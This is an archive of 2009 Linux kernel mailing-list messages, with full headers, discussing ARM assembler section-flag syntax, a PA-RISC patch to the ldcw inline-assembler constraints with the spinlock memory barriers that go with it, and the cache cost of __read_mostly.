  by mx1.uq.edu.au with ESMTP; 02 May 2009 03:52:56 +1000
Original-Received: from mail.hos.anvin.org (c-98-210-181-100.hsd1.ca.comcast.net [98.210.181.100])
	(authenticated bits=0)
	by terminus.zytor.com (8.14.3/8.14.1) with ESMTP id n41Hlt0g001022
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Fri, 1 May 2009 10:47:55 -0700
Original-Received: from tazenda.hos.anvin.org (tazenda.hos.anvin.org [172.27.0.16])
	by mail.hos.anvin.org (8.14.2/8.13.8) with ESMTP id n41Hlt87009137;
	Fri, 1 May 2009 10:47:55 -0700
Original-Received: from tazenda.hos.anvin.org (localhost.localdomain [127.0.0.1])
	by tazenda.hos.anvin.org (8.14.3/8.13.6) with ESMTP id n41HlmKI014417;
	Fri, 1 May 2009 10:47:49 -0700
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20090501174457.GA26559-QabhHTsIXMSnlFQ6Q1D1Y0B+6BGkLq7r@public.gmane.org>
X-Virus-Scanned: ClamAV 0.94.2/9309/Thu Apr 30 20:55:03 2009 on terminus.zytor.com
X-Virus-Status: Clean
X-UQ-FilterTime: 1241200490
X-Scanned-By: MIMEDefang 2.58 on UQ Mailhub on 130.102.148.131
X-Scanned-By: MIMEDefang 2.64 on 130.102.79.245
X-Scanned-By: MIMEDefang 2.64 on 130.102.79.244
X-Scanned-By: MIMEDefang 2.58 on UQ Mailhub on 130.102.148.131
X-Scanned-By: MIMEDefang 2.58 on UQ Mailhub on 130.102.149.131
X-OriginalArrivalTime: 01 May 2009 17:52:57.0532 (UTC) FILETIME=[A9390FC0:01C9CA85]
X-Spam-Score: 0.01 () LOCAL_MUST_ACT
X-ITEE-Spam-Score: 0.01 () LOCAL_MUST_ACT
X-ITEE-Spam-Score: -0.99 () LOCAL_MUST_ACT,RCVD_IN_DNSWL_LOW
Original-Sender: owner-microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org
Precedence: bulk
Xref: news.gmane.org gmane.linux.uclinux.microblaze:8597 gmane.linux.kernel:830898 gmane.linux.ports.alpha:533 gmane.linux.ports.ia64:20334 gmane.linux.ports.m68k:704 gmane.linux.ports.mips.general:23626 gmane.linux.ports.parisc:1618 gmane.linux.ports.ppc64.devel:55750 gmane.linux.ports.sh.devel:5878 gmane.linux.ports.sparc:11563 gmane.linux.hardware.blackfin.kernel.devel:1371 gmane.linux.uml.devel:12195
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1618>

Sam Ravnborg wrote:
>>
>> What's wrong with @?
> arm does not support it :-(
> I recall it denote a comment in arm assembler.
> 
> I could do some magic to detect the ARM case but I'm reluctant to do so.
> I could also ignore the arm issue for now as it is not used by arm,
> but that strikes me as the wrong approach.
> 

If we really have to use different tokens, I would say:

#ifdef __ARM__
# define _PROGBITS %progbits	/* or whatever */
# define _NOBITS   %nobits
#else
# define _PROGBITS @progbits
# define _NOBITS   @nobits
#endif

Otherwise we probably need to ask the binutils people...

	-hpa

-- 
H. Peter Anvin, Intel Open Source Technology Center
I work for Intel.  I don't speak on their behalf.


From - Thu Nov 08 21:04:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix ldcw inline assembler
Date: Fri, 1 May 2009 14:18:22 -0400
Lines: 55
Approved: news@gmane.org
Message-ID: <119aab440905011118lbc3bcectfd5862477c2598a8@mail.gmail.com>
References: <49FA1AA1.3060104@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1241202334 3883 80.91.229.12 (1 May 2009 18:25:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 May 2009 18:25:34 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Thibaut VARENE <varenet@debian.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 01 20:25:20 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LzxQA-0000Z5-1Q
	for glpp-linux-parisc@gmane.org; Fri, 01 May 2009 20:25:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751495AbZEASZM convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 1 May 2009 14:25:12 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753895AbZEASZL
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 1 May 2009 14:25:11 -0400
Original-Received: from ey-out-2122.google.com ([74.125.78.24]:54522 "EHLO
	ey-out-2122.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751495AbZEASZK convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 1 May 2009 14:25:10 -0400
Original-Received: by ey-out-2122.google.com with SMTP id 9so632992eyd.37
        for <linux-parisc@vger.kernel.org>; Fri, 01 May 2009 11:25:09 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=+gh28wHR/94om0vZc1aYOVyj4ZQunzCBL03ig1iKDsY=;
        b=N6MfSlsq3WbTnZP8WagwbC9RHkeOoWxIdX4pD12esv9QGCgByqBMAyBH/c5eq6DySO
         xExKaJd60g2CQaCQNIw9sacy9zhROXq6lZ1FhBGnCVjhOPiDquRQHUby4sRJFlX3WEZi
         4YWbOF1FBHilVTDwSRJd9leQOGEu1ZrnyPCus=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=jALXVDHTjNo1J96BFw+CXSDW5q2lJE+6i0d2lH3kNoS9U/+6GgYWDHOjnu9MtEkw3R
         lrF0ump2p4sRXs7llYm1nY5o+pedHcZHWzInC+oz4eQ2yD+4K+aLNKt8ScojohV3QLAr
         0Xvjg+cwhvjT9sL8mDhrjqH8vqKCgnsyBJk5w=
Original-Received: by 10.216.7.133 with SMTP id 5mr905064wep.32.1241201902331; Fri, 01 
	May 2009 11:18:22 -0700 (PDT)
In-Reply-To: <49FA1AA1.3060104@gmx.de>
X-Google-Sender-Auth: 61b5949c5877cbd6
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1619
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1619>

On Thu, Apr 30, 2009 at 5:39 PM, Helge Deller <deller@gmx.de> wrote:
> diff --git a/arch/parisc/include/asm/system.h b/arch/parisc/include/a=
sm/system.h
> index ee80c92..d91357b 100644
> --- a/arch/parisc/include/asm/system.h
> +++ b/arch/parisc/include/asm/system.h
> @@ -168,8 +168,8 @@ static inline void set_eiem(unsigned long val)
> =A0/* LDCW, the only atomic read-write operation PA-RISC has. *sigh*.=
 =A0*/
> =A0#define __ldcw(a) ({ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 \
> =A0 =A0 =A0 =A0unsigned __ret; =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 \
> - =A0 =A0 =A0 __asm__ __volatile__(__LDCW " 0(%1),%0" =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 \
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 : "=3Dr" (__ret) : "r" (a)); =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0\
> + =A0 =A0 =A0 __asm__ __volatile__(__LDCW " 0(%2),%0" =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 \
> + =A0 =A0 =A0 =A0 =A0 =A0 =A0 : "=3Dr" (__ret), "+m" (*(a)) : "r" (a)=
); =A0 =A0 =A0 =A0 \
> =A0 =A0 =A0 =A0__ret; =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0\
> =A0})

Historical note...

We clobber all of memory in userspace, like this:
~~~
#define __ldcw(a) \
({                                                                     =
 \
  unsigned int __ret;                                                  =
 \
  __asm__ __volatile__("ldcw 0(%1),%0"                                 =
 \
                       : "=3Dr" (__ret) : "r" (a) : "memory");         =
   \
  __ret;                                                               =
 \
})
~~~
I wonder if I should change that to match the kernel?

This is currently used in the Linuxthreads->NPTL compat code, and in
the old Linuxthreads code.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix ldcw inline assembler
Date: Fri, 1 May 2009 17:37:18 -0400
Organization: nrc.ca
Lines: 29
Approved: news@gmane.org
Message-ID: <20090501213717.GA19522@hiauly1.hia.nrc.ca>
References: <49FA1AA1.3060104@gmx.de> <119aab440905011118lbc3bcectfd5862477c2598a8@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1241213863 4310 80.91.229.12 (1 May 2009 21:37:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 May 2009 21:37:43 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Thibaut VARENE <varenet@debian.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 01 23:37:33 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M00QD-0001op-Kj
	for glpp-linux-parisc@gmane.org; Fri, 01 May 2009 23:37:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754705AbZEAVhY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 1 May 2009 17:37:24 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755255AbZEAVhX
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 1 May 2009 17:37:23 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4440 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1760998AbZEAVhU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 1 May 2009 17:37:20 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 526964FB2; Fri,  1 May 2009 17:37:18 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <119aab440905011118lbc3bcectfd5862477c2598a8@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1620
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1620>

On Fri, 01 May 2009, Carlos O'Donell wrote:

> Historical note...
> 
> We clobber all of memory in userspace, like this:
> ~~~
> #define __ldcw(a) \
> ({                                                                      \
>   unsigned int __ret;                                                   \
>   __asm__ __volatile__("ldcw 0(%1),%0"                                  \
>                        : "=r" (__ret) : "r" (a) : "memory");            \
>   __ret;                                                                \
> })
> ~~~
> I wonder if I should change that to match the kernel?

The above is perfectly safe.  I believe the kernel provides a memory
barrier when necessary.  There's a discussion somewhere in the mail
archives.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix ldcw inline assembler
Date: Fri, 1 May 2009 17:46:33 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <20090501214632.GD18899@bombadil.infradead.org>
References: <49FA1AA1.3060104@gmx.de> <119aab440905011118lbc3bcectfd5862477c2598a8@mail.gmail.com> <20090501213717.GA19522@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1241214425 5765 80.91.229.12 (1 May 2009 21:47:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 May 2009 21:47:05 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Thibaut VARENE <varenet@debian.org>
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 01 23:46:54 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M00Z9-0005W6-0V
	for glpp-linux-parisc@gmane.org; Fri, 01 May 2009 23:46:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751913AbZEAVql (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 1 May 2009 17:46:41 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753222AbZEAVql
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 1 May 2009 17:46:41 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:59654 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751913AbZEAVqk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 1 May 2009 17:46:40 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1M00Yz-0004ax-7G; Fri, 01 May 2009 21:46:33 +0000
Content-Disposition: inline
In-Reply-To: <20090501213717.GA19522@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1621
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1621>

On Fri, May 01, 2009 at 05:37:18PM -0400, John David Anglin wrote:
> On Fri, 01 May 2009, Carlos O'Donell wrote:
> 
> > Historical note...
> > 
> > We clobber all of memory in userspace, like this:
> > ~~~
> > #define __ldcw(a) \
> > ({                                                                      \
> >   unsigned int __ret;                                                   \
> >   __asm__ __volatile__("ldcw 0(%1),%0"                                  \
> >                        : "=r" (__ret) : "r" (a) : "memory");            \
> >   __ret;                                                                \
> > })
> > ~~~
> > I wonder if I should change that to match the kernel?
> 
> The above is perfectly safe.  I believe the kernel provides a memory
> barrier when necessary.  There's a discussion somewhere in the mail
> archives.
> 

I, er, don't think we do, not for the spinlock primitives at least, as
far as I can tell...

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Edgar E. Iglesias" <edgar.iglesias@gmail.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uclinux.microblaze,gmane.linux.ports.sparc,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.uml.devel
Subject: Re: [microblaze-uclinux] Re: [PATCH 6/6] Add support for
	__read_mostly to linux/cache.h
Date: Fri, 1 May 2009 23:47:13 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <20090501214713.GB12724@laped.iglesias.mooo.com>
References: <1241119956-31453-1-git-send-email-tabbott@mit.edu> <1241119956-31453-2-git-send-email-tabbott@mit.edu> <1241119956-31453-3-git-send-email-tabbott@mit.edu> <1241119956-31453-4-git-send-email-tabbott@mit.edu> <1241119956-31453-5-git-send-email-tabbott@mit.edu> <1241119956-31453-6-git-send-email-tabbott@mit.edu> <1241119956-31453-7-git-send-email-tabbott@mit.edu> <20090501094407.GD18326@uranus.ravnborg.org> <alpine.DEB.1.10.0905010948140.18324@qirst.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1241214497 5912 80.91.229.12 (1 May 2009 21:48:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 May 2009 21:48:17 +0000 (UTC)
Cc: Sam Ravnborg <sam@ravnborg.org>, Tim Abbott <tabbott@MIT.EDU>,
	Anders Kaseorg <andersk@MIT.EDU>,
	Waseem Daher <wdaher@MIT.EDU>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Jeff Arnold <jbarnold@MIT.EDU>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Bryan Wu <cooloney@kernel.org>,
	Chris Zankel <chris@zankel.net>,
	Cyrill Gorcunov <gorcunov@openvz.org>,
	David Howells <dhowells@redhat.com>,
	"David S. Miller" <davem@davemloft.net>, dev-etrax@axis.com,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Greg Ungerer <gerg@uclinux.org>,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>,
	Hirokazu Takata <takata@linux-m32r.org>,
	"H. Peter Anvin" <hpa@zytor.com>, Ingo Molnar <mingo@redhat.com>,
	Jeff Dike <jdike@addtoit.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Linus Torva
To: Christoph Lameter <cl@linux.com>
Original-X-From: linux-mips-bounce@linux-mips.org Fri May 01 23:47:58 2009
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from ftp.linux-mips.org ([213.58.128.207])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M00aM-00062Z-EH
	for sgi-linux-mips@gmane.org; Fri, 01 May 2009 23:47:58 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:49823 "EHLO
	ftp.linux-mips.org" rhost-flags-OK-OK-OK-FAIL) by ftp.linux-mips.org
	with ESMTP id S20027868AbZEAVrw (ORCPT
	<rfc822;sgi-linux-mips@gmane.org>); Fri, 1 May 2009 22:47:52 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 01 May 2009 22:47:35 +0100 (BST)
Original-Received: from mail-bw0-f177.google.com ([209.85.218.177]:56394 "EHLO
	mail-bw0-f177.google.com" rhost-flags-OK-OK-OK-OK)
	by ftp.linux-mips.org with ESMTP id S20027867AbZEAVr2 (ORCPT
	<rfc822;linux-mips@linux-mips.org>); Fri, 1 May 2009 22:47:28 +0100
Original-Received: by bwz25 with SMTP id 25so2655882bwz.0
        for <multiple recipients>; Fri, 01 May 2009 14:47:22 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:received:date:from:to:cc
         :subject:message-id:references:mime-version:content-type
         :content-disposition:in-reply-to:user-agent;
        bh=mng4vw6dm21qh7/q+QJctc3NV+qYTC1IRY7MqV61E1U=;
        b=yBhjkmWl83f7r+hD4ofFb3pGwHcUU/Rw8QFdmScKLpm4U4JnEiUC5QRpAZ3DO9iTsY
         FeIat+TiehhbxDJdQJ/8GsRMR3f2fqLUqaiOC9A9PFgCUVLOSDXxqzx5Q0AC7FdRgDIB
         y4ZRBrHTKPsXMwEjTCbPD7S/yEmR3zDWjPae0=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        b=IaXKigzjNJmm/l6CdDsX1aytbuDHM/BA52TPzXQC4HWXmLGDqD0NdT3qPNgDO2WtBB
         5HdwBiXncwZy/foVhIUgYzpMhY7wzdZJpgHaJ4RMi6/A6aletBE/QnK2BcYr1Ogfl0Ks
         uGE64q2Ltz1wdIGipZExqsVIovu0Sq0yUNf4o=
Original-Received: by 10.204.53.143 with SMTP id m15mr2983774bkg.119.1241214438233;
        Fri, 01 May 2009 14:47:18 -0700 (PDT)
Original-Received: from edgar.iglesias@gmail.com (c83-249-210-227.bredband.comhem.se [83.249.210.227])
        by mx.google.com with ESMTPS id g28sm5040063fkg.5.2009.05.01.14.47.13
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Fri, 01 May 2009 14:47:17 -0700 (PDT)
Original-Received: by edgar.iglesias@gmail.com (sSMTP sendmail emulation); Fri, 01 May 2009 23:47:13 +0200
Content-Disposition: inline
In-Reply-To: <alpine.DEB.1.10.0905010948140.18324@qirst.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
X-archive-position: 22598
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: edgar.iglesias@gmail.com
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:23627 gmane.linux.ports.alpha:534 gmane.linux.ports.arm.kernel:57282 gmane.linux.ports.ia64:20335 gmane.linux.ports.m68k:705 gmane.linux.ports.parisc:1622 gmane.linux.ports.ppc64.devel:55773 gmane.linux.ports.sh.devel:5879 gmane.linux.uclinux.microblaze:8598 gmane.linux.ports.sparc:11566 gmane.linux.hardware.blackfin.kernel.devel:1372 gmane.linux.uml.devel:12196
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1622>

On Fri, May 01, 2009 at 09:52:18AM -0400, Christoph Lameter wrote:
> On Fri, 1 May 2009, Sam Ravnborg wrote:
> 
> > Are there any specific reason why we do not support read_mostly on all
> > architectures?
> 
> Not that I know of.
> 
> > read_mostly is about grouping rarely written data together
> > so what is needed is to introduce this section in the remaining
> > archtectures.
> >
> > Christoph - git log says you did the inital implmentation.
> > Do you agree?
> 
> Yes.
> 
> There is some concern that __read_mostly is needlessly applied to
> numerous variables that are not used in hot code paths. This may make
> __read_mostly ineffective and actually increase the cache footprint of a
> function since global variables are no longer in the same cacheline. If
> such a function is called and the caches are cold then two cacheline
> fetches have to be done instead of one.

FWIW I think that's a valid concern. Also, I think one can question the
value of __read_mostly for write-through caches, given the mentioned
concern it probably makes things worse for those. IMO there should be
a way to turn it off for arch's that know it's no good for them.

Cheers



From - Thu Nov 08 21:04:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix ldcw inline assembler
Date: Fri, 01 May 2009 22:03:12 +0000
Lines: 44
Approved: news@gmane.org
Message-ID: <1241215392.3302.43.camel@mulgrave.int.hansenpartnership.com>
References: <49FA1AA1.3060104@gmx.de>
	 <119aab440905011118lbc3bcectfd5862477c2598a8@mail.gmail.com>
	 <20090501213717.GA19522@hiauly1.hia.nrc.ca>
	 <20090501214632.GD18899@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241215415 8367 80.91.229.12 (1 May 2009 22:03:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 May 2009 22:03:35 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	Carlos O'Donell <carlos@systemhalted.org>,
	Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Thibaut VARENE <varenet@debian.org>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 02 00:03:24 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M00pE-0003cU-N1
	for glpp-linux-parisc@gmane.org; Sat, 02 May 2009 00:03:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751913AbZEAWDP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 1 May 2009 18:03:15 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753377AbZEAWDO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 1 May 2009 18:03:14 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:41300 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752454AbZEAWDN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 1 May 2009 18:03:13 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 7D3D38EE195;
	Fri,  1 May 2009 15:03:13 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id RVazE9UJ90MM; Fri,  1 May 2009 15:03:13 -0700 (PDT)
Original-Received: from [192.168.10.222] (mulgrave.ext.hansenpartnership.com [192.168.10.222])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id C0FBC8EE13D;
	Fri,  1 May 2009 15:03:12 -0700 (PDT)
In-Reply-To: <20090501214632.GD18899@bombadil.infradead.org>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1623
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1623>

On Fri, 2009-05-01 at 17:46 -0400, Kyle McMartin wrote:
> On Fri, May 01, 2009 at 05:37:18PM -0400, John David Anglin wrote:
> > On Fri, 01 May 2009, Carlos O'Donell wrote:
> > 
> > > Historical note...
> > > 
> > > We clobber all of memory in userspace, like this:
> > > ~~~
> > > #define __ldcw(a) \
> > > ({                                                                      \
> > >   unsigned int __ret;                                                   \
> > >   __asm__ __volatile__("ldcw 0(%1),%0"                                  \
> > >                        : "=r" (__ret) : "r" (a) : "memory");            \
> > >   __ret;                                                                \
> > > })
> > > ~~~
> > > I wonder if I should change that to match the kernel?
> > 
> > The above is perfectly safe.  I believe the kernel provides a memory
> > barrier when necessary.  There's a discussion somewhere in the mail
> > archives.
> > 
> 
> I, er, don't think we do, not for the spinlock primitives at least, as
> far as I can tell...

Yes we do ... look in asm/spinlock.h

it's all the mb(); statements that are scattered through our _raw_spin_
ops

The original problem was that the spinlocks were compile barrier leaky
and caused infrequent but hard to debug issues on smp.  The barriers are
likely overkill (since we have two in each) but at least they prevent
problems.

James


--
